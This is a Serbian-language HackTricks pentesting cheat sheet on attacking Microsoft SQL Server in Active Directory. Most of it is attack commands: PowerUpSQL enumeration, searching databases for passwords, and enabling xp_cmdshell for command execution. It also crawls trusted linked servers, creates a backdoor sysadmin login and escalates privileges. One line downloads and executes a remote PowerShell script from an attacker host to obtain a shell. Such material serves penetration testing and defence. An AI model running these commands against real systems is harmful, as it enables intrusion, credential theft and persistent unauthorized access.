Serbian - Ht
HackTricks Training Twitter Linkedin Sponsor

MSSQL AD Abuse

Support HackTricks

MSSQL Enumeration / Discovery

PowerShell modul PowerUpSQL je veoma koristan u ovom slučaju.

Import-Module .\PowerupSQL.psd1

Enumeracija sa mreže bez domen sesije

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

Enumeracija iznutra domena

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

MSSQL Osnovna Zloupotreba

Pristup DB

#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize

MSSQL RCE

Možda će biti moguće izvršiti komande unutar MSSQL hosta

Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

Check in the page mentioned in the following section how to do this manually.

MSSQL Osnovne Hacking Tehnike

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL Pouzdane Povezane Baze

Ako je MSSQL instanca pouzdana (povezana baza podataka) od strane druge MSSQL instance. Ako korisnik ima privilegije nad pouzdanom bazom podataka, moći će da iskoristi odnos poverenja da izvrši upite i u drugoj instanci. Ove veze poverenja mogu se povezivati i u nekom trenutku korisnik može pronaći neku pogrešno konfigurisanu bazu podataka gde može izvršavati komande.

Povezane baze funkcionišu čak i preko šuma poverenja.

Zloupotreba Powershell-a

#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'

Metasploit

Možete lako proveriti pouzdane linkove koristeći metasploit.

#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

Napomena da će metasploit pokušati da zloupotrebi samo openquery() funkciju u MSSQL (tako da, ako ne možete da izvršite komandu sa openquery(), moraćete da pokušate EXECUTE metodu ručno da izvršite komande, više informacija u nastavku.)

Ručno - Openquery()

Sa Linux-a možete dobiti MSSQL konzolnu ljusku sa sqsh i mssqlclient.py.

Sa Windows-a takođe možete pronaći linkove i izvršiti komande ručno koristeći MSSQL klijent kao HeidiSQL

Prijavite se koristeći Windows autentifikaciju:

Pronađite pouzdane linkove

select * from master..sysservers;
EXEC sp_linkedservers;

Izvršavanje upita u pouzdanoj vezi

Izvršite upite putem veze (primer: pronađite više veza u novoj dostupnoj instanci):

select * from openquery("dcorp-sql1", 'select * from master..sysservers')

Proverite gde se koriste dvostruki i jednostruki navodnici, važno je koristiti ih na taj način.

Možete ručno nastaviti ovu vezu pouzdanih linkova zauvek.

# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

Ako ne možete izvršiti akcije poput exec xp_cmdshell iz openquery(), pokušajte sa metodom EXECUTE.

Ručno - EXECUTE

Takođe možete zloupotrebiti poverljive veze koristeći EXECUTE:

#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

Lokalna Eskalacija Privilegija

MSSQL lokalni korisnik obično ima posebnu vrstu privilegije nazvanu SeImpersonatePrivilege. Ovo omogućava nalogu da "imituje klijenta nakon autentifikacije".

Strategija koju su mnogi autori smislili je da primoraju SYSTEM servis da se autentifikuje na zlonameran ili man-in-the-middle servis koji napadač kreira. Ovaj zlonamerni servis tada može da imitira SYSTEM servis dok pokušava da se autentifikuje.

SweetPotato ima kolekciju ovih različitih tehnika koje se mogu izvršiti putem Beacon-ove komande execute-assembly.

Podrška HackTricks
PreviousLAPSNextOver Pass the Hash/Pass the Key

Last updated